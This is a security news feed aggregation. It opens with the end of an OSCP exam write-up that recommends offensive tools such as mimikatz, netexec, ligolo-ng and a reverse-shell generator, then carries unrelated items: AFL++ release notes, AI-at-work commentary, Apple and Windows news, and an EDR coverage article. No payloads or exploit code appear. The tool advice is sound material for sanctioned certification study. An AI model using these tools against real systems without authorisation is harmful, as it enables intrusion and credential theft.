src="https://cdn-images-1.medium.com/max/851/1*9KYIo1rmXPS4nAV_XYpD6g.png"><figcaption>“Areas to improve on” for some of the PG Machines</figcaption></figure><p>The goal isn’t to grind through every machine. It’s to understand <em>why</em> things work, so you’re not lost when the exam throws something slightly different at you.</p><h4>B. Active Directory</h4><p>Having completed the PNPT, I already had a grasp of the base knowledge needed for the Active Directory section, though PEN-200 does go a bit deeper in its coverage. Even so, I felt I needed to grind through a fair number of AD sets beforehand to get comfortable with the OffSec methodology and with time management.</p><p>First things first: get comfortable running <strong>netexec</strong>, <strong>BloodHound</strong>, and <strong>mimikatz</strong>. These are the core tools you’ll be leaning on throughout the AD portion.</p><p><strong>Here are the main resources I used:</strong></p><ul><li><strong>Hacker Blueprint’s Labs</strong>: <a href="https://hackerblueprint.com/labs">https://hackerblueprint.com/labs</a></li></ul><p>I went through the first 4 of these. They’re useful for getting familiar with the AD environment, though they don’t really cover the pivoting side of things that you’d expect in the exam. Still a solid resource. Feel free to pick up some of the later labs as well, since I’ve heard the pivoting is better covered in those.</p><ul><li><strong>Derron C’s AD Playlist</strong>: <a href="https://www.youtube.com/watch?v=gY_9Dncjw-s&amp;list=PLT08J44ErMmb9qaEeTYl5diQW6jWVHCR2">Playlist Link</a></li></ul><p>These sets are more closely aligned with the OSCP exam and do demonstrate pivoting as you’d see it on the day. Watch them and add the techniques to your notes as you go.</p><ul><li><strong>My GitBook (notes and cheatsheet)</strong>: <a href="https://gokulkarthik.gitbook.io/pentesting-checklist">https://gokulkarthik.gitbook.io/pentesting-checklist</a></li></ul><p>Everything I took down throughout my prep got consolidated here. You don’t need to use it, but it was all I needed to quickly pull up commands during the exam, especially for the Windows and AD side of things.</p><h4>C. Challenge Labs</h4><p>Save the challenge labs for the final stretch, ideally 1 to 2 weeks before your exam date. These are the closest thing you’ll get to the real experience, so treat them as dress rehearsals.</p><ul><li><strong>Secura</strong> — AD focused, and in my opinion a bit easier than what you’ll see in the exam. Still good practice for building confidence.</li><li><strong>Medtech</strong> — A larger network with more techniques than the OSCP actually expects, but it’s fun and great for sharpening your skills.</li><li><strong>Zeus and Poseidon</strong> — More difficult and complex than the expected exam difficulty. Only take these on if you have time to spare, otherwise consider them optional.</li><li><strong>OSCP A,B,C </strong>— The closest to the actual exam in terms of difficulty and structure. Do these as near to your exam date as possible, and time-bound yourself to mimic the real exam conditions. Treating them like the real thing is the best way to test your stamina and pacing before the day itself.</li></ul><h4>D. Pivoting</h4><p>For pivoting, I relied on <strong>ligolo-ng</strong>, which I’d strongly recommend. Beyond pivoting itself, it covers two other use cases that are just as important on the exam:</p><ul><li><strong>Transferring files</strong> from your attacker machine to a host inside the internal network.</li><li><strong>Catching a reverse shell</strong> back to your attacker machine from a host inside the internal network.</li></ul><p>Both of these, along with the full ligolo-ng setup, are documented in my <a href="https://gokulkarthik.gitbook.io/pentesting-checklist/pivoting/ligolo-ng">GitBook</a> if you need a reference.</p><p>That said, ligolo-ng isn’t the only option. Feel free to fall back on tools like <strong>proxychains</strong> or <strong>chisel</strong> if the situation calls for it, though I’d treat those as a last resort.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*whY-GeCLp0o_Wcuo.gif"></figure><h3>The Day of Reckoning</h3><p>The day had finally come, and I was about to learn what “Try Harder” really meant<strong> 😣</strong></p><h4>The Strong Start</h4><p>I started on time and went straight for the AD section, which I felt more confident in compared to the standalones. Got admin on the first machine within half an hour. Riding that momentum, I moved on to the second machine and… hit a wall.</p><p>I chased an entry point that turned into a full-blown rabbit hole after a ton of enumeration.</p><blockquote><strong>Lesson:</strong> If something doesn’t work, maybe it was meant to not work. Don’t force it. The actual path forward is often something else entirely.</blockquote><p>Almost 3 hours gone, no progress. So I took a break.</p><blockquote><strong>Lesson:</strong> Take breaks when you’re burnt out or stuck. Stepping away clears your head, and you almost always come back with fresh ideas.</blockquote><h4>Pivoting to the Standalones</h4><p>With AD giving me grief, I switched over to the standalones to change up the pace.</p><p>Over the next 2 to 3 hours, I got <strong>shell access</strong> on a couple of them, but no root yet. The third standalone became its own headache: I found the entry point but couldn’t exploit it. Hours disappeared trying to break in, and by now I was almost 8 hours into the exam.</p><p>The dread started creeping in. This was my only shot, and the investment I’d invested was sitting in the back of my mind too. So I took another break. When I came back, I realized the entry point was something embarrassingly simple. No complex attack required.</p><blockquote><strong>Lesson:</strong> The OSCP isn’t an obscure technical exam. It won’t throw unknown exploits or weird attack chains at you. If a path seems overly complicated, it’s probably a rabbit hole. The real way in is usually simpler than you think.</blockquote><p>From there, the privesc fell into place and I got root.</p><h4>The Crossroads</h4><p>By this point I still didn’t have enough points to pass, and my eyes were seriously starting to droop. I had two options:</p><ul><li>Complete the Active Directory set, <strong>or</strong></li><li>Get root on the two standalones I already had shell access on.</li></ul><p>I made an estimated call: I had a better chance of finishing the AD set than rooting those standalones. So I decided to sleep for 5 to 6 hours, wake up the next day, and dedicate my final 4 hours to AD.</p><p>(You can imagine how restful that sleep was. 🫠)</p><h4>The Breakthrough</h4><p>I woke up still groggy and got back on. I started fresh on the second AD machine and threw every vector I could think of at it. Finally, with about 3 hours left, something clicked. I was in.</p><p>From there, it took just 30 minutes to get admin on the second machine and compromise the DC. My heart was racing. That single vector was the entire exam’s “<strong>Try Harder</strong>” moment. If I’d given up on it, I’d have been done.</p><p>That’s the 50 to 80 point swing in half an hour, after being stuck for the better part of a day.</p><h4>Wrapping Up</h4><p>Exhausted but relieved, I made sure all my screenshots were in order and went straight to sleep. The next day I used the official OSCP report format, finished writing it up, and submitted. My result came back a couple of days later.</p><p>A pretty wild couple of days. 🙂</p><blockquote><strong>One last thing:</strong> Take screenshots of <em>everything</em>. You never know when you’ll need them. Keep rough notes as you go too, don’t leave documentation until the end when you’re exhausted and trying to reconstruct what you did hours ago.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/0*zyWnXktTLfy4Z3a8.gif"></figure><h3>Tools &amp; Resources Used</h3><ol><li><a href="https://www.revshells.com/">revshells</a> — An online reverse shell generator for quickly creating reverse shell payloads in just about any language or format.</li><li><a href="https://github.com/Pennyw0rth/NetExec">netexec</a> — People say this can practically one-shot the AD section of the OSCP if you master it. An absolute must for AD enumeration.</li><li><a href="https://github.com/specterops/bloodhound">bloodhound</a> — You’ve got to walk the dog. Gives you a clear overview of all the users, groups, and attack paths in your AD environment.</li><li><a href="https://github.com/gentilkiwi/mimikatz">mimikatz </a>— One of the most common tools for post-compromise credential dumping and lateral movement.</li><li><a href="https://github.com/brightio/penelope">penelope</a> —Catches reverse shells and auto-upgrades them, so you don’t have to do the hard work manually.</li><li><a href="https://github.com/DominicBreuker/pspy">pspy</a> — Gives you an inside look at Linux processes running on a machine that might not be visible from the outside.</li><li><a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">linpeas</a> — The classic Linux enumeration script for privilege escalation.</li><li><a href="https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS">winPEAS</a>— A solid Windows enumeration script for privilege escalation.</li><li><a href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc">powerup</a> — A PowerShell script that hunts for common Windows privilege escalation misconfigurations.</li><li><a href="https://docs.google.com/spreadsheets/d/13YoNQuY6HC5ot-lZiX2tY9pR5mvwnp3xV6lHs78DlqQ/edit?gid=878934599#gid=878934599">LainKusanagi List with Ratings</a> — A modified version of the original OSCP machine list, this one with difficulty ratings to help you prioritize.</li><li><a href="https://t3rminux.medium.com/conquering-the-oscp-a-guide-to-the-mental-marathon-a9ae235a523f">Friend’s OSCP Medium Post </a>— A friend’s OSCP medium post which helped me prepare for the OSCP.</li></ol><h3>Final Thoughts</h3><p>Looking back, the OSCP taught me less about hacking and more about <strong>persistence</strong>. The technical skills matter, of course, but plenty of people with the right skills still walk away without a pass. What gets you through those 24 hours is the <strong>willingness to keep going when you’re stuck</strong>, <strong>exhausted</strong>, and convinced the path forward doesn’t exist.</p><p>What worked for me might not map perfectly onto your situation. I went in with a defensive background, prior CTF experience, and the PNPT under my belt, and I still got humbled for the better part of a day.</p><p>A few things I’d leave you with:</p><ul><li><strong>The exam rewards patience, not panic.</strong> Almost every wall I hit had a simpler answer than I was giving it credit for.</li><li><strong>Take breaks.</strong> Genuinely. Some of my clearer ideas came after stepping away from the screen.</li><li><strong>One breakthrough can change everything.</strong> I sat at 50 points for the better part of a day. Thirty minutes was all it took to get to 80. Don’t give up before that moment arrives.</li></ul><p>If you want to learn more or just chat about the OSCP journey, feel free to reach out to me on <a href="https://www.linkedin.com/in/gokulkarthik2001/">LinkedIn</a>. I’m always happy to help where I can.</p><p>Good luck, and go earn it. 🙂</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d6583fc6b20b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-oscp-is-a-mental-game-d6583fc6b20b">The OSCP Is a Mental Game</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wimbledon adds IBM AI tools for live match coverage]]></title>
<description><![CDATA[The All England Lawn Tennis Club is adding new AI-powered features to Wimbledon’s digital platforms through its ongoing work with IBM. The updates will be available through the Wimbledon app and wimbledon.com as first-round matches begin on Monday. They include an upgraded Match Chat assistant an...]]></description>
<link>https://tsecurity.de/de/3632572/ai-nachrichten/wimbledon-adds-ibm-ai-tools-for-live-match-coverage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632572/ai-nachrichten/wimbledon-adds-ibm-ai-tools-for-live-match-coverage/</guid>
<pubDate>Mon, 29 Jun 2026 12:04:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The All England Lawn Tennis Club is adding new AI-powered features to Wimbledon’s digital platforms through its ongoing work with IBM. The updates will be available through the Wimbledon app and wimbledon.com as first-round matches begin on Monday. They include an upgraded Match Chat assistant and a new feature called Key Moments. The features will […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/wimbledon-ibm-ai-tools-live-match-coverage/">Wimbledon adds IBM AI tools for live match coverage</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v5.02c]]></title>
<description><![CDATA[Version ++5.02c (release)
!!! You need to recompile persistent mode/LLVMFuzzerTestOneInput target !!!

afl-health:

new tool: AFL++ campaign health tool checker, much more advanced than
afl-whatsup, with tips, analysis and ssh support


afl-fuzz:

Futex implementation missed the clean-up of the s...]]></description>
<link>https://tsecurity.de/de/3632450/it-security-tools/v502c/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632450/it-security-tools/v502c/</guid>
<pubDate>Mon, 29 Jun 2026 11:19:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Version ++5.02c (release)</h3>
<p>!!! You need to recompile persistent mode/LLVMFuzzerTestOneInput target !!!</p>
<ul>
<li>afl-health:
<ul>
<li>new tool: AFL++ campaign health tool checker, much more advanced than<br>
afl-whatsup, with tips, analysis and ssh support</li>
</ul>
</li>
<li>afl-fuzz:
<ul>
<li>Futex implementation missed the clean-up of the shmem</li>
<li>Futex shmem now lives in general shared memory map as by default only<br>
32 such regions are supported in MacOS</li>
</ul>
</li>
<li>afl-cc:
<ul>
<li>new C11 mode (<code>AFL_LLVM_C11</code> at compile time): afl-cc records each<br>
function's local variable count and afl-fuzz uses it as an extra queue<br>
scheduling signal to favor more complex code paths. Noticably improvement,<br>
based on the paper <a href="https://mlsec.org/docs/2026-icse.pdf" rel="nofollow">https://mlsec.org/docs/2026-icse.pdf</a></li>
<li>if <code>-fsanitize-coverage-allowlist=</code>/<code>-fsanitize-coverage-ignorelist=</code> is<br>
passed without <code>AFL_LLVM_ALLOWLIST</code>/<code>AFL_LLVM_DENYLIST</code> being set, the<br>
supplied list is reused as <code>AFL_LLVM_ALLOWLIST</code>/<code>AFL_LLVM_DENYLIST</code> (with<br>
a warning) so the optimized PCGUARD honors it</li>
<li>instrument allow/deny lists (<code>AFL_LLVM_ALLOWLIST</code>/<code>AFL_LLVM_DENYLIST</code> and<br>
the GCC equivalents): function (<code>fun:</code>) entries are now matched verbatim<br>
with <code>fnmatch()</code> instead of having a <code>*</code> prepended automatically - add a<br>
leading <code>*</code> yourself for a suffix match. Function entries are matched<br>
against both the mangled and the demangled (LLVM) / unqualified (GCC)<br>
name, and an explicit <code>fun:</code> prefix now permits <code>:</code> so demangled C++/Rust<br>
names can be listed. File (<code>src:</code>) entries are unchanged and still match<br>
as a suffix (an implicit leading <code>*</code>)</li>
<li>AFL_LLVM_CRASHLIST - crash on any function that is marked not to be<br>
instrumented but is entered by fuzzing input</li>
<li>bugfix for __AFL_LOOP() that lingered since vanilla afl, first run<br>
coverage map would look different to following runs, impacting lots of<br>
functionality (minimizing, stability, etc.)</li>
</ul>
</li>
<li>afl-* script tools:
<ul>
<li>prefer AFL_PATH to find afl-showmap</li>
</ul>
</li>
<li>man pages: fixed the SYNOPSIS and OPTIONS sections for several tools</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Code turned every engineer into three. Now companies need more product thinkers]]></title>
<description><![CDATA[Anthropic recently told its growth team to hire more product managers, not fewer. The reason, as reported in industry coverage, was that Claude Code had quietly turned its engineering org into a team that ships at roughly three times its actual headcount, and the bottleneck moved from the integra...]]></description>
<link>https://tsecurity.de/de/3630129/it-nachrichten/claude-code-turned-every-engineer-into-three-now-companies-need-more-product-thinkers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3630129/it-nachrichten/claude-code-turned-every-engineer-into-three-now-companies-need-more-product-thinkers/</guid>
<pubDate>Sat, 27 Jun 2026 21:47:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Anthropic recently told its growth team to hire more product managers, not fewer. The reason, as reported in industry coverage, was that Claude Code had quietly turned its engineering org into a team that ships at roughly three times its actual headcount, and the bottleneck moved from the integrated development environment (IDE) to the people deciding what to build.</p><p>That detail is easy to miss in the noise of every <a href="https://venturebeat.com/orchestration/vibe-coding-can-build-your-pipeline-it-cant-explain-it-six-months-later">AI productivity claim</a>. It is also the structural shift the rest of the industry is now living through. The bottleneck in software is no longer typing. It is deciding what to type. And the engineers who treat that as someone else's problem are about to plateau. </p><p>For most of the last decade, that decision sat with someone else. <a href="https://venturebeat.com/technology/agentic-ai-solved-coding-and-exposed-every-other-problem-in-software-engineering">Software engineering</a> was a craft you absorbed slowly, then practiced in a long, predictable sequence: Dive deep on the technology, write the code, ask Stack Overflow when stuck, escalate to a senior engineer when Stack Overflow failed, ship the ticket. The product manager owned the funnel. The engineer owned the build. Both sides treated this division as physics.</p><p>Then the funnel collapsed in five steps.</p><h2><b>A short history of how the engineer's day got compressed</b></h2><p><b>The Stack Overflow era (2014 to late 2022): </b>The way engineers thought lived in one place. But new monthly questions on Stack Overflow are now down <a href="https://www.reddit.com/r/programming/comments/1hwg2px/stackoverflow_has_lost_77_of_new_questions/">roughly 77%</a> since November 2022, which was not coincidentally when ChatGPT launched. The drop is not a referendum on the site. It is a referendum on the workflow it represented.</p><p><b>The browser-tab era (late 2022 to 2024):</b> The first ChatGPT generation sat outside the IDE. Engineers ran the same loop they had always run, just with a faster oracle: Write a prompt in a browser, paste the answer back into VS Code, repeat. The work was still single-threaded and engineer-driven. The leverage was real but local.</p><p><b>The IDE-native era (2024 to 2025):</b> Cursor and Claude Code moved the model inside the editor and gave it access to the full repository. The senior-engineer escalation path largely dissolved. For years, the prevailing wisdom among veteran engineers was that Bash had the longest shelf life of any tool in the stack. By 2026, for a meaningful share of working developers, the first command typed in a fresh terminal is claude.</p><p><b>The spec-driven era (2025 to 2026):</b> Larger context windows turned single-session work into something that previously required tickets, design docs, and sprints. Amazon's Kiro IDE team reportedly compressed feature builds from two weeks to two days using the same spec-driven workflow they were shipping. An AWS engineering team described an 18-month rearchitecture, originally scoped for 30 engineers, was completed by 6 people in 76 days. The bottleneck stopped being how long it takes to write the code. It started being how clearly the team can describe what correct looks like.</p><p><b>The routines era (2026):</b> In April, Anthropic shipped Claude Code Routines: Scheduled, persistent agents that run on a cadence, on a webhook, or overnight while the laptop is closed. Cron came back. Hooks came back. The engineer's job is now part orchestration: Spin up a swarm before bed, review a stack of pull requests in the morning. Third-party wrappers like OpenClaw, which was briefly suspended by Anthropic in April before partial reinstatement, made the same point from the open-source side.</p><h2><b>The bottleneck moved; most teams have not</b></h2><p>Engineering has roughly tripled. Product management has not budged. The traditional 1:8 ratio of PMs to engineers, already strained, now plays out closer to an effective 1:20 because each engineer ships more per day. For instance, LinkedIn replaced its associate product manager track with a "Product Builder" program that trains generalists across product, design, and engineering. Anthropic is hiring more PMs, not fewer. The pattern is consistent across companies that have actually deployed agentic workflows in production: The system is producing built features faster than it is producing decisions about what should be built.</p><p>For engineers, this is the most important career signal of the decade, and the easiest one to miss while the productivity stories dominate the feed.</p><h2><b>First principles matter more, not less</b></h2><p>The instinct to declare fundamentals obsolete in the agent era gets the trend exactly wrong.</p><p>When a memory leak takes down production at 3 a.m., and the cause turns out to be a subtle ownership bug pushed 4 years ago, no agent currently in the wild closes that loop end-to-end. Operating systems, networks, concurrency, and query plans still decide who can resolve a real incident. They also decide who can spot the moments when an <a href="https://venturebeat.com/technology/why-prompt-debt-retrieval-debt-and-evaluation-debt-are-quietly-reshaping-enterprise-ai-risk">agent's output</a> looks correct on the surface and is quietly, expensively, wrong underneath. The agent that wrote 70% of the code in a modern repo cannot reliably tell anyone where its assumptions about thread safety, memory ownership, or transaction isolation diverged from the runtime. The engineer who can read the diff and catch that is the engineer the rest of the team needs in the room, and that engineer is built on fundamentals, not on prompting skill.</p><p>The corollary is that fundamentals are now a leverage skill, not a hygiene skill. In 2014, knowing how a TCP retransmit worked got a debug ticket closed faster. In 2026, the same knowledge keeps an entire agent-driven release pipeline from shipping a regression at scale. The blast radius of the engineer who knows what is happening underneath has gone up, not down.</p><h2><b>Review is the new writing</b></h2><p>Engineers in 2026 generate code at a rate that exceeds what any of them can read carefully. The team that ships fast and survives is the team whose engineers treat reviewing AI-generated code with at least the same rigor they once reserved for writing it. The 2025 <a href="https://survey.stackoverflow.co/2025">Stack Overflow developer survey</a> put 84% of developers on AI tools, with 46% saying they do not trust the output, up sharply from 31% the year before. That gap, heavy use paired with low trust, is exactly where review skills now matter most. Coders who push lots and review little are accumulating a debt that will come due during the first real incident, and the engineer who can pay it back is the one who paired their volume with deep first-principles knowledge of the systems involved.</p><h2><b>The new differentiator is the product funnel</b></h2><p>Both of those are necessary. Neither is sufficient. The engineer who matters in 2026 is the one who has stopped waiting for the funnel to arrive in the form of a Jira ticket.</p><p>That means doing things the role was historically allowed to skip.</p><p>Talk to customers. Watch how they actually use the product. Read the support queue. Sit in on the sales call. The signal a product team gets through three layers of summary, an engineer can now get firsthand in an afternoon.</p><p>Generate ideas, not just estimates. The product manager who used to source ideas for 8 engineers cannot source ideas for 20 at the same fidelity. The engineer who shows up with a validated, scoped opportunity is no longer doing the PM's job. The engineer is doing the job the new ratio requires.</p><p>Work backwards from the customer. Amazon has been writing the press release first for two decades. The discipline travels well to teams of one and to swarms of agents. Both produce a great deal of working software in the wrong direction without a clear statement of what "customer wins" means before any code is written.</p><p>Stop hiding behind bandwidth. The honest answer to "Do you have capacity for this idea?" used to be 'No.' With routines, hooks, and a cooperative agent stack, the honest answer is closer to "What is the idea worth?" That is a different conversation, and a much harder one to have without a real point of view on the customer.</p><h2><b>What the next decade rewards</b></h2><p>The five-phase history above is not really a history of tools. It is a history of which part of the job a human had to do. The part that is still human, and that will remain human for the foreseeable future, has moved up the funnel: From typing, to reviewing, to deciding, to choosing the customer to serve and the problem to solve.</p><p>The 2026 version of a <a href="https://venturebeat.com/technology/the-enterprise-risk-nobody-is-modeling-ai-is-replacing-the-very-experts-it-needs-to-learn-from">great engineer</a> is not the one who writes the most code. It is the one who knows what to build, can prove it is worth building, and has the agent fleet plus the review discipline to ship it without the system collapsing under its own velocity.</p><p>Engineers who internalize this will spend the next decade doing the most interesting work software has ever produced. Engineers who wait for a ticket will spend it watching the ticket get written by the agent next to them.</p><p><i>Ishan Gupta is a software engineer at Amazon.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Expands Refurbished Store With 2026 Macs and New Displays]]></title>
<description><![CDATA[Just hours after adding the latest models to its online refurbished section, Apple has completely refreshed its discounted lineup with even more devices. Shoppers looking for a solid deal can now easily grab the newest Mac models and the updated Studio Display 2 for a lower cost. These specific d...]]></description>
<link>https://tsecurity.de/de/3629333/ios-mac-os/apple-expands-refurbished-store-with-2026-macs-and-new-displays/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3629333/ios-mac-os/apple-expands-refurbished-store-with-2026-macs-and-new-displays/</guid>
<pubDate>Sat, 27 Jun 2026 11:24:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Just hours after adding the latest models to its online refurbished section, Apple has completely refreshed its discounted lineup with even more devices. Shoppers looking for a solid deal can now easily grab the newest Mac models and the updated Studio Display 2 for a lower cost. These specific devices originally came out in March 2026 and represent the most recent hardware cycle from the tech giant.



The company adds recent laptops and monitors to its store



The latest additions to the refurbished shop in the United States and Canada include the M5 MacBook Air and the higher-end MacBook Pro equipped with M5 Pro and M5 Max chips. This follows the earlier arrival of the highly anticipated MacBook Neo at the same storefront. Buyers will also spot the second-generation Studio Display from 2026. Briefly, the premium Studio Display XDR even popped up for Canadian buyers before selling out.



If you buy from this section, the company guarantees each unit passes a full test and a deep clean. It packs these items with a standard one-year warranty and gives buyers the option to add extended AppleCare coverage for extra peace of mind.



Recent price increases change the potential savings for buyers



Because it just raised the retail costs for many products, the refurbished tags look very similar to the old retail prices. For example, a brand-new M5 laptop now starts at $1,299 instead of $1,099. If you buy the refurbished version, you will pay that original $1,099 price tag.



The situation is a bit better for monitor shoppers. The standard 2026 Studio Display did not get a price hike. A new unit still costs $1,599, meaning the refurbished price of $1,359 offers a real discount. This makes the monitor one of the best deals currently sitting in the refurbished inventory.



For anyone willing to skip the factory seal, these certified devices look and run just like new items. Grabbing a refurbished model right now remains the smartest way to bypass the sudden price hikes and secure the newest hardware for less money.]]></content:encoded>
</item>
<item>
<title><![CDATA[Whew! Windows 10 Users Get a Year's Extension for Security Updates]]></title>
<description><![CDATA[The company has quietly extended its Extended Security Update coverage until October 2027.]]></description>
<link>https://tsecurity.de/de/3628400/it-nachrichten/whew-windows-10-users-get-a-years-extension-for-security-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628400/it-nachrichten/whew-windows-10-users-get-a-years-extension-for-security-updates/</guid>
<pubDate>Fri, 26 Jun 2026 21:03:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company has quietly extended its Extended Security Update coverage until October 2027.]]></content:encoded>
</item>
<item>
<title><![CDATA[Autonomous security agents need complete data. Here's how to check if yours is ready.]]></title>
<description><![CDATA[An endpoint agent cannot report its own absence. The 2026 Axonius Actionability Report, conducted with the Ponemon Institute and surveying 662 IT and security professionals, put a number on a gap SOC teams have worked around for years. Across the Axonius customer base, 12.7% of devices in a 298,0...]]></description>
<link>https://tsecurity.de/de/3628252/it-nachrichten/autonomous-security-agents-need-complete-data-heres-how-to-check-if-yours-is-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3628252/it-nachrichten/autonomous-security-agents-need-complete-data-heres-how-to-check-if-yours-is-ready/</guid>
<pubDate>Fri, 26 Jun 2026 20:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An endpoint agent cannot report its own absence. The <a href="https://www.axonius.com/resources/analyst-report/the-actionability-report-axonius-ponemon-institute">2026 Axonius Actionability Report</a>, conducted with the <a href="https://www.ponemon.org/">Ponemon Institute</a> and surveying 662 IT and security professionals, put a number on a gap SOC teams have worked around for years. <a href="https://www.axonius.com/blog/rsac-2026-recap">Across the Axonius customer base</a>, 12.7% of devices in a 298,000-device median inventory are missing their expected security agent.</p><p>If a device has no agent, no management console shows it. If a CMDB record is stale, no reconciliation flags it. An employee who installed Claude Enterprise outside procurement created a SaaS workspace, identity surface, and API-token footprint that endpoint telemetry alone will not reliably inventory. The coverage percentage on the EDR dashboard is structurally incomplete because the reporting mechanism cannot see what it does not cover.</p><p>That gap matters more now than it did six months ago. SOC and XDR vendors are pushing more autonomous investigation and remediation into production. Those agents will query the same dashboards, trust the same coverage percentages, and act on the same blind spots human analysts learned to work around. A human analyst second-guesses a 98% coverage number. An autonomous agent treats it as ground truth and moves at machine speed.</p><h2>Three independent signals converged on the same gap</h2><p><a href="https://www.gravitee.io/blog/88-of-companies-have-already-seen-ai-agent-security-failures">Gravitee’s 2026 survey</a> of 900-plus executives found 88% reported confirmed or suspected AI-related incidents, and only 14.4% sent agents live with full security approval. The Axonius/Ponemon report found 52% of respondents would let autonomous agents act on recommendations — while 63% said the underlying data lacks important information. <a href="https://cloudsecurityalliance.org/blog/2026/02/02/the-agentic-trust-framework-zero-trust-governance-for-ai-agents">The CSA's Agentic Trust Framework</a> requires verified data governance before agents act on any finding.</p><p>Mike Riemer, Field CISO at <a href="https://www.ivanti.com/">Ivanti</a>, said that known vulnerabilities on Azure’s honeypot networks are now attacked in under 90 seconds. “Traditional security measures continue to work,” Riemer told VentureBeat. </p><p>The caveat is that those measures only protect what they can see. An EDR agent deployed across 87.3% of the device inventory leaves the remaining 12.7% outside that agent’s telemetry, policy enforcement, and detection logic.</p><h2>Exclusive deployment data quantifies the scale</h2><p>Joe Diamond, CEO of Axonius, told VentureBeat that the average CISO sees roughly 50% of what is actually on the network. “Say 50% of their environment is sitting in dark matter,” Diamond said. “They don’t know what it is, or where it is, or who has access to it, if it’s secure, if it’s not secure.”</p><p>Deployment data from more than 900 Axonius customers confirms those numbers. TransUnion went from 70% to 99% endpoint coverage after out-of-band verification. <a href="https://www.axonius.com/newsroom/press-release/western-union-drives-reduction-in-manual-security-workload-improve-asset-coverage-with-axonius">Western Union went from 85% to 99%</a> by consolidating data from 38 tools and cutting manual workload by half. Lumen discovered 1.1 million assets, where the CMDB showed 17,000. That translates to roughly 37,000 unmanaged endpoints per organization sitting outside every policy, every patch cycle, and every detection rule.</p><p>Diamond pointed to <a href="https://www.anthropic.com/claude/mythos">Mythos</a>, Anthropic’s frontier reasoning model, as a sign that machine-speed offensive capability will make any unknown asset far riskier than it is today. “People tend to have shiny object syndrome,” he said. “If you didn’t understand what 50% of your environment looked like from a traditional endpoint perspective, and you think you’re going to wind sprint to granular control and governance of AI, your program will fail.” Diamond called the broader AI shift “as big, if not bigger than the internet.”</p><h2>Three approaches compete to close the gap</h2><p>No single architecture solves the visibility problem today. Three approaches compete, each with named tradeoffs security teams should evaluate before procurement.</p><p><b>A dedicated integration layer </b>uses bidirectional API adapters to build an always-current inventory. Axonius runs 1,400-plus adapters and now discovers shadow Claude Enterprise installations via its Anthropic adapter (GA June 15). “We created a bidirectional API integration with all the IT systems and all the security controls to build an always up-to-date inventory of what the environment looks like,” Diamond told VentureBeat.</p><p><b>Platform-native EDR and XDR intelligence </b>builds richer asset context inside the agent footprint. Depth within the agent footprint is the advantage. The limitation is structural. Platform-native intelligence is bounded by what the agent can see, and the gap the Ponemon report identified lives precisely where that visibility ends.</p><p><b>CMDB modernization </b>requires continuous reconciliation against three or more independent telemetry sources. Only 13% of organizations reconcile daily, according to <a href="https://www.axonius.com/blog/2026-axonius-actionability-report-context">Axonius/Ponemon data</a>. The remaining 87% operate on stale records that feed incorrect prioritization into any automated remediation pipeline.</p><h2>EDR data readiness: Five gates before autonomous remediation</h2><p>Before you let autonomous SOC agents close tickets or quarantine assets, this checklist tells you whether your EDR and asset data is solid enough to trust. It is vendor-agnostic, works with any EDR and CMDB, and gives you five pass/fail gates you can run in a single working session.</p><table><tbody><tr><td><p><b>Risk Area</b></p></td><td><p><b>What the data shows</b></p></td><td><p><b>Readiness threshold</b></p></td><td><p><b>Action to take now</b></p></td></tr><tr><td><p>Asset inventory delta</p></td><td><p>Ponemon: only 45% consolidate into a single view. Forrester TEI: 150% more assets than previously identified. Lumen: 17K in CMDB vs. 1.1M discovered.</p></td><td><p><b>Delta ≤10%</b> between discovery, CMDB, and EDR agent count. Delta above 10% blocks automated remediation until reconciled.</p></td><td><p>Run API-based discovery against all segments. Diff against CMDB and EDR console count. Reconcile quarterly minimum.</p></td></tr><tr><td><p>Unmanaged AI services</p></td><td><p>Gravitee: 88% confirmed or suspected AI incidents. Only 14.4% with full security approval. Anthropic adapter (GA June 15) discovers unmanaged Claude Enterprise installations.</p></td><td><p>No high-risk AI services outside approved procurement. <b>Weekly SaaS discovery scans.</b> Unmanaged high-risk instances trigger IR triage before exception review.</p></td><td><p>Deploy SaaS discovery or protocol-level adapters for AI service detection. Automate weekly scans. Route unmanaged instances to IR queue.</p></td></tr><tr><td><p>CMDB record accuracy</p></td><td><p>Ponemon: only 13% reconcile daily (RSAC 2026). Brooks Running: 20% server discrepancy between console and independent discovery. Top remediation barriers: unclear prioritization, unclear ownership, inconsistent data.</p></td><td><p><b>≥85% of records</b> validated against 3+ independent telemetry sources. No stale or orphaned records in active remediation queue.</p></td><td><p>Cross-reference CMDB against cloud inventory, EDR telemetry, and IdP directory. Continuous reconciliation replaces annual audit 